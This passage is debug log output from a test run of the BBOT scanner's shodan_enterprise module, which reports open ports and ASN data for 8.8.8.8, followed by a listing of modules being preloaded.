module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:06:47,474 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:06:47,476 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:06:47,478 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:06:47,478 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:06:47,480 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:06:47,480 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:06:47,482 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:06:47,483 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 17:06:47,486 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:06:47,486 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:06:47,487 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:06:47,488 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:06:47,488 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 17:06:47,489 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 17:06:47,489 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 17:06:47,490 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:06:47,490 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:06:47,575 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:06:47,576 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 17:06:47,577 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:178af26f0f09c516212c06bcc930a94eaacf29d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:06:47,577 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 17:06:47,578 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:06:47,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:06:47,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,581 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,581 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,582 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,582 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:06:47,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,584 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,584 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,585 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,585 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,586 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:06:47,586 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,587 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,588 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:06:47,588 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:06:47,588 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,589 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,589 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,590 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,590 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:06:47,591 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,591 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,591 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:06:47,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:06:47,593 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:06:47,593 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,594 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:06:47,594 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,594 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:06:47,595 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:06:47,596 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:06:47,596 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:06:47,597 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:06:47,597 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 17:06:47,680 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:06:47,681 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,681 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:06:47,682 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,682 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:06:47,682 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:06:47,683 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 17:06:47,683 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:06:47,683 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 17:06:47,684 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 17:06:47,685 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 17:06:47,685 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 17:06:47,686 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 17:06:47,687 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 17:06:47,687 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 17:06:47,688 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 17:06:47,788 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 17:06:47,789 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 17:06:47,808 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 17:06:47,808 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 17:06:47,809 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 17:06:47,816 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 17:06:47,816 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 17:06:47,817 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 17:06:47,818 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 17:06:47,819 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 17:06:47,819 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 17:06:47,935 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_346sj5aacs completed in 0 seconds with status FINISHED -2026-03-01 17:06:47,935 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 17:06:47,936 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:06:47,938 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events -2026-03-01 17:06:47,938 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 17:06:47,938 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] -2026-03-01 17:06:47,939 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected -2026-03-01 17:06:47,939 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] -2026-03-01 17:06:47,939 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected -2026-03-01 17:06:47,939 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events -2026-03-01 17:06:47,939 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} -2026-03-01 17:08:15,936 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 17:08:15,938 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 17:08:15,948 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 17:08:15,949 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 17:08:15,950 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 17:08:15,951 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 17:08:15,951 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 17:08:15,952 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 17:08:15,952 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 17:08:15,954 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 17:08:15,955 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 17:08:15,956 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 17:08:15,957 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 17:08:15,957 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 17:08:15,958 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 17:08:15,959 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 17:08:15,961 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 17:08:15,962 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 17:08:15,965 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 17:08:15,965 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 17:08:15,967 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 17:08:15,968 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 17:08:15,969 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 17:08:15,969 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 17:08:15,970 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 17:08:15,971 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 17:08:15,972 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 17:08:15,972 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 17:08:15,972 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 17:08:15,974 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 17:08:15,975 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 17:08:15,975 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 17:08:15,976 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 17:08:15,977 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 17:08:15,977 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 17:08:15,978 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 17:08:15,979 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 17:08:15,979 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 17:08:15,980 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 17:08:15,980 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 17:08:15,981 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 17:08:15,985 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 17:08:15,986 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 17:08:15,987 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 17:08:15,987 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 17:08:15,988 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 17:08:15,989 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 17:08:15,989 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 17:08:15,990 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 17:08:15,991 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 17:08:15,992 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 17:08:15,992 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 17:08:15,993 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 17:08:15,994 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 17:08:15,995 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 17:08:15,995 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 17:08:15,996 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 17:08:15,997 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 17:08:15,997 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 17:08:15,998 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 17:08:15,998 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 17:08:15,999 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 17:08:16,000 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 17:08:16,001 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 17:08:16,001 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 17:08:16,002 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 17:08:16,003 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 17:08:16,008 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 17:08:16,009 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 17:08:16,010 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 17:08:16,011 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 17:08:16,012 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 17:08:16,013 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 17:08:16,014 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 17:08:16,014 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 17:08:16,015 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 17:08:16,016 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 17:08:16,017 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 17:08:16,018 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 17:08:16,019 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 17:08:16,019 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 17:08:16,020 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 17:08:16,021 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 17:08:16,021 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 17:08:16,022 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 17:08:16,022 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 17:08:16,023 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 17:08:16,023 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 17:08:16,024 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 17:08:16,024 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 17:08:16,025 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 17:08:16,026 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 17:08:16,026 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 17:08:16,027 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 17:08:16,028 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 17:08:16,029 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 17:08:16,030 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 17:08:16,030 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 17:08:16,031 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 17:08:16,031 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 17:08:16,032 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 17:08:16,032 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 17:08:16,033 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 17:08:16,034 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 17:08:16,034 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 17:08:16,035 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 